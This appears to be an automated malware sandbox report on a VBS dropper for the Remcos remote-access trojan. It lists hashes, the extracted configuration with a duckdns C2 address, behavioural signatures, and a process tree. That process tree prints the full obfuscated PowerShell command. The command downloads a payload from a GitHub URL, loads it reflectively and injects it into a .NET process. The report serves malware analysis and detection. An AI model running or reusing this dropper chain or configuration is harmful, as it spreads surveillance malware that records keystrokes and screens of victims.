Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 03:31

General

  • Target

    dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452.vbs

  • Size

    486KB

  • MD5

    11d17e5031ad380653a237003a2d93a7

  • SHA1

    8e50bcc4c1be2b52a74e0e330bc4d5fddf443895

  • SHA256

    dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452

  • SHA512

    057f17598033572575fdb1734388dc6602b87491bcfdd12012916c324f313dd9210ec97b73237f7ed899a55302a32937d06493aa969138043df747a86eecddb5

  • SSDEEP

    12288:ZD4khNMtUfuNETNPg3KOi/x1n7vgGee1qIk0hChUTvOqov6R2Ueb4Pu3/FJ+3mzT:FHtX4EiDi2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

Sost

C2

sost1213.duckdns.org:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    registros.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-ZLWPZ6

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Capturas de pantalla

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aW5Wb0tFLWVYcHJFc1NJb24gKCgoJ1dBaXVybCcrJyA9IHFWJysnUmh0dHBzOicrJy8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbScrJy9Ob0RldCcrJ2UnKydjdE9uL04nKydvRGV0ZScrJ2N0T24vJysncmVmcy9oZWFkcy9tYWluL0QnKydldGFoTm90aC1WLnQnKyd4dHFWUicrJzsgV0FpYmEnKydzZTYnKyc0Q28nKydudGVudCcrJyA9IChOZXctT2JqJysnZWN0ICcrJ1N5c3RlbS4nKydOZXQuV2ViQ2xpZW50KS4nKydEbycrJ3dubG9hJysnZCcrJ1MnKyd0cicrJ2luZyhXQWl1cmwpOycrJyBXQWliaW4nKydhcnlDbycrJ24nKyd0JysnZW50ID0nKycgW1N5cycrJ3RlJysnbS5Db252ZXJ0XTo6RicrJ3InKydvJysnbUJhc2U2NFMnKyd0cmluZyhXQWknKydiJysnYXNlNjQnKydDb250ZScrJ24nKyd0KTsgV0EnKydpJysnYXNzZScrJ21ibHkgPScrJyBbJysnUicrJ2VmbGVjdGlvbi5BcycrJ3NlbWJseV06OkwnKydvYWQoV0FpYicrJ2knKyduYScrJ3J5JysnQycrJ29udGUnKydudCk7IFtkbicrJ2xpJysnYi5JTy5IbycrJ21lXScrJzonKyc6VkEnKydJKGREcDAvTicrJ0J6eGIvJysnZCcrJy9lZS5ldHNhcC8vOnMnKydwJysndHRoZERwLCBkRHAnKydkZScrJ3NhdGknKyd2YWRvJysnZERwLCBkJysnRCcrJ3AnKydkZXNhdGl2YWQnKydvZERwJysnLCBkRHBkZXNhdGl2YScrJ2RvJysnZERwLCBkRHBBZCcrJ2QnKydJblAnKydyb2MnKydlcycrJ3MzMicrJ2REcCwnKycgZCcrJ0RwZERwLGREcCcrJ2REcCknKSAtY3JFUGxBY0UgICdXQWknLFtDSGFyXTM2LXJFcGxhY2UgJ3FWUicsW0NIYXJdMzkgIC1jckVQbEFjRSAgKFtDSGFyXTEwMCtbQ0hhcl02OCtbQ0hhcl0xMTIpLFtDSGFyXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "inVoKE-eXprEsSIon ((('WAiurl'+' = qV'+'Rhttps:'+'//raw.githubusercontent.com'+'/NoDet'+'e'+'ctOn/N'+'oDete'+'ctOn/'+'refs/heads/main/D'+'etahNoth-V.t'+'xtqVR'+'; WAiba'+'se6'+'4Co'+'ntent'+' = (New-Obj'+'ect '+'System.'+'Net.WebClient).'+'Do'+'wnloa'+'d'+'S'+'tr'+'ing(WAiurl);'+' WAibin'+'aryCo'+'n'+'t'+'ent ='+' [Sys'+'te'+'m.Convert]::F'+'r'+'o'+'mBase64S'+'tring(WAi'+'b'+'ase64'+'Conte'+'n'+'t); WA'+'i'+'asse'+'mbly ='+' ['+'R'+'eflection.As'+'sembly]::L'+'oad(WAib'+'i'+'na'+'ry'+'C'+'onte'+'nt); [dn'+'li'+'b.IO.Ho'+'me]'+':'+':VA'+'I(dDp0/N'+'Bzxb/'+'d'+'/ee.etsap//:s'+'p'+'tthdDp, dDp'+'de'+'sati'+'vado'+'dDp, d'+'D'+'p'+'desativad'+'odDp'+', dDpdesativa'+'do'+'dDp, dDpAd'+'d'+'InP'+'roc'+'es'+'s32'+'dDp,'+' d'+'DpdDp,dDp'+'dDp)') -crEPlAcE 'WAi',[CHar]36-rEplace 'qVR',[CHar]39 -crEPlAcE ([CHar]100+[CHar]68+[CHar]112),[CHar]34))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:1620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\registros.dat

    Filesize

    144B

    MD5

    5421ea692d830c7eb93d23be5ac97d58

    SHA1

    b651a03ae8231f1ed640c387bc425bb5bfbe6d28

    SHA256

    0f0aec8c13a7e7278c4003131dd5f19ca409e73043212aa508a7d0450295368b

    SHA512

    fa963a533c0f593a3e8a9ae247504ea83fc4c056291bcb5018e5a0c34192d9dcd41f683d2852cb1b0ec583cd661579201ae9b8fa2f2a5ae45bf956696f81a7a8

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_foxop5r5.wm2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1620-36-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-50-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-23-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-75-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-74-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-29-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-67-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-34-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-32-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-35-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-66-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-37-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-38-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-42-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-41-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-59-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-58-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/1620-51-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3136-22-0x0000024733170000-0x0000024733390000-memory.dmp

    Filesize

    2.1MB

  • memory/4232-1-0x000001C5B1C50000-0x000001C5B1C72000-memory.dmp

    Filesize

    136KB

  • memory/4232-0-0x00007FFDBC993000-0x00007FFDBC995000-memory.dmp

    Filesize

    8KB

  • memory/4232-30-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

    Filesize

    10.8MB

  • memory/4232-7-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

    Filesize

    10.8MB

  • memory/4232-12-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

    Filesize

    10.8MB